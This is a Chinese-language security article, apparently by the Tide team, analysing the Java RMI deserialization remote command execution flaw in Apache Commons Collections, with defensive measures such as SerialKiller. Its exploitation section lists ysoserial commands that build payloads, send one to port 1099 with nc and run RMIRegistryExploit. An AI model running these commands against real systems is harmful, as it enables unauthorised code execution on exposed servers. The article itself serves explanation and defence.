JAVA反序列化之 Rmi命令执行漏洞分析
字数 1375 2025-08-18 11:38:28
Java RMI反序列化远程命令执行漏洞深入分析与防御指南
一、漏洞背景与概述
Java反序列化漏洞最早由Gabriel Lawrence和Chris Frohoff在2015年1月28日的AppSecCali会议上披露,该漏洞利用Apache Commons Collections库实现任意代码执行。随后FoxGlove Security团队发布的详细分析报告证实了这一漏洞的严重性,影响范围包括:
- WebLogic
- WebSphere
- JBoss
- Jenkins
- OpenNMS
该漏洞被称为"2015年最被低估的漏洞",尽管厂商发布了修复版本,但仍有大量系统受影响。
二、Java RMI技术基础
1. RMI定义
RMI(Remote Method Invocation)是J2SE的核心组件,支持开发基于Java的分布式应用。其特点包括:
- 允许跨JVM(甚至跨网络)调用远程对象方法
- 调用远程方法与调用本地方法语法一致
- 默认使用序列化完成所有交互
2. RMI调用流程
- 客户端调用客户端辅助对象(stub)方法
- stub打包调用信息(变量、方法名)并发送至服务端辅助对象(skeleton)
- skeleton解包信息,定位实际调用的方法及对象
- 调用实际服务对象方法并返回结果给skeleton
- skeleton打包结果并发送给stub
- stub解包结果返回给客户端
- 客户端获得返回值
三、漏洞原理分析
1. 漏洞核心
- 1099端口是Java RMI默认端口
- RMI默认使用序列化完成交互
- 当使用存在漏洞的Apache Commons Collections版本时
- 攻击者可构造恶意序列化对象实现远程代码执行
2. 利用方式
利用工具:ysoserial
示例1:执行计算器
java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
示例2:生成payload并通过nc发送
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
nc xx.xx.xx.xx 1099 < groovypayload.bin
示例3:直接利用RMIRegistryExploit
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
3. 高级利用技术
- 使用URLClassLoader方法实现回显
- 查看服务器datasource文件内容
四、漏洞影响范围
截至2019年统计数据显示:
- 中国开放1099端口的主机:12,310台
- 用于RMI交互的主机:3,891台(占比31.6%)
- 存在反序列化漏洞的主机:3,114台(占比25.29%)
五、防御与加固方案
1. 基础防护
- 关闭RMI服务在公网的端口暴露
- 及时删除项目中不必要的InvokerTransformer.class文件
2. 技术防护措施
使用SerialKiller临时补丁:
- 将SerialKiller.jar置于classpath
- 替换应用代码中的java.io.ObjectInputStream为SerialKiller
- 配置可信类型控制策略(支持热加载)
主要特性:
- Hot-Reload:热加载能力
- Whitelisting:白名单控制
- Blacklisting:黑名单过滤
3. 长期维护策略
- 定期升级中间件(WebLogic、Apache、JBoss等)
- 建立Java组件安全更新机制
六、安全研究资源
Tide安全团队(成立于2019年1月)专注于:
- 网络攻防
- Web安全
- 移动终端安全
- 安全开发
- IoT/物联网/工控安全
了解更多:
- 官网:http://www.TideSec.net
- 关注公众号获取最新动态